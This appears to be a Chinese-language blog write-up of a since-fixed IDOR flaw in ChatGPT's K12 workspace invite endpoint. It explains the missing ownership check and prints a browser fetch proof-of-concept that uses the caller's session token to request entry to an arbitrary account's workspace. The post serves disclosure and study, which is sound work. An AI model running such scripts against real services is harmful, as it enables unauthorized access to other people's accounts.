Back to blog

ChatGPT K12 工作空间越权邀请漏洞(已修复)

ChatGPT K12 工作空间的越权邀请漏洞(IDOR)记录——成因、验证脚本与修复状态。

背景

#

ChatGPT 的 K12 教育工作空间邀请接口存在越权访问(IDOR):登录任意账号即可携带自己的 accessToken 向指定 <ACCOUNT_ID> 的 K12 工作空间发起加入请求,服务端未校验请求方与该账号的归属关系。当前该漏洞已被官方拉闸修复,脚本仅作漏洞记录留存。

漏洞细节

#

越权点集中在两个层面:

  1. 资源定位可猜ACCOUNT_ID 是路径参数,可枚举;而 K12 工作空间设计上面向学生批量开通,账号 ID 往往连续可预测
  2. 鉴权不鉴归属 — 请求只验证"你是登录用户",不验证"你有权操作这个账号"

影响面:任何登录用户可向任意账号的工作空间提交加入请求,若该空间未限制邀请审批,可实现越权加入。正是由于工作空间批量开通的规模,这类 IDOR 会被批量利用,官方因此直接拉闸接口而非仅加校验。

核心思路

#

漏洞点是 POST /backend-api/accounts/<ACCOUNT_ID>/invites/request:接口凭 Authorization: Bearer <自己的 token> 就能操作,<ACCOUNT_ID> 可任意替换为他人账号,缺少归属校验。浏览器会话直接发起即可,无需额外权限。

验证脚本

#
fetch("https://chatgpt.com/api/auth/session", {
  method: "GET",
  credentials: "include",
})
  .then((res) => res.json())
  .then(({ accessToken }) => {
    if (!accessToken) throw new Error("未获取到 accessToken")
    return fetch(
      "https://chatgpt.com/backend-api/accounts/<ACCOUNT_ID>/invites/request",
      {
        method: "POST",
        headers: {
          authorization: `Bearer ${accessToken}`,
          "content-type": "application/json",
        },
        referrer: "https://chatgpt.com/k12-verification",
        credentials: "include",
      },
    )
  })
  .then((res) => res.json())
  .then((result) => console.log("邀请请求结果:", result))
  .catch((err) => console.error("请求失败:", err))

要点:<ACCOUNT_ID> 是接口路径上的目标账号,发起者仅靠自己的 session token 即可替换该值——这就是越权点。

注意事项

#
  • 已拉闸:该接口当前返回拒绝,脚本已不可用。
  • 仅作学习记录;对在役漏洞的批量利用属违法行为。

$ echo "collect what matters, write it down"